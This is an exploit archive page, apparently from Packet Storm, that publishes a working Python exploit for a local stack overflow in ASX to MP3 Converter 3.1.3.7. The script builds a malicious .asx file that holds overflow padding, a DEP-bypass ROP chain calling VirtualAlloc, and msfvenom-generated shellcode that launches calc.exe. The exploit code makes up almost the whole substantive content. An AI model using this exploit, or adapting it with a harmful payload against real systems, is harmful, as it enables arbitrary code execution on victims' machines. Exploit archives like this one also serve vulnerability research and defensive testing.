exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ASX To MP3 Converter 3.1.3.7 Local Stack Overflow

ASX To MP3 Converter 3.1.3.7 Local Stack Overflow
Posted Oct 7, 2019
Authored by max7253

ASX to MP3 Converter version 3.1.3.7 .asx local stack overflow exploit.

tags | exploit, overflow, local
SHA-256 | b4001f42f24ea433b41518393a1d15294c54d7edc60cb7586d5f00464e74878b

ASX To MP3 Converter 3.1.3.7 Local Stack Overflow

Change Mirror Download
# Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)
# Google Dork: N/A
# Date: 2019-10-06
# Exploit Author: max7253
# Vendor Homepage: http://www.mini-stream.net/
# Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe
# Version: 3.1.3.7.2010.11.05
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
# CVE : N/A

# Note: There is a similar exploit published but it doesn't work in the OS I used:
# https://www.exploit-db.com/exploits/42963
# This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on.


import struct
file = 'fuzz_rop.asx'
#Tested on
#OS Name: Microsoft Windows 7 Enterprise
#OS Version: 6.1.7601 Service Pack 1 Build 7601
#System Type: x64-based PC

#msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python
buf = b""
buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"

payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"

## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11111111)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEFEEF)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)

## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)

## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN

## Save the address of (# ADD ESP,8 # RETN) in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
#payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN

## Save memory protection code (0x40) in ECX
payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN
payload += struct.pack('<L', 0xFFFFFFFF)
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN

## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x1002D038) # RETN

## Save NOPs in EAX
#payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll]
#payload += struct.pack('<L', 0x90909090) # nop

## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN

payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf

f = open(file,'w')
f.write(payload)
f.close()
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close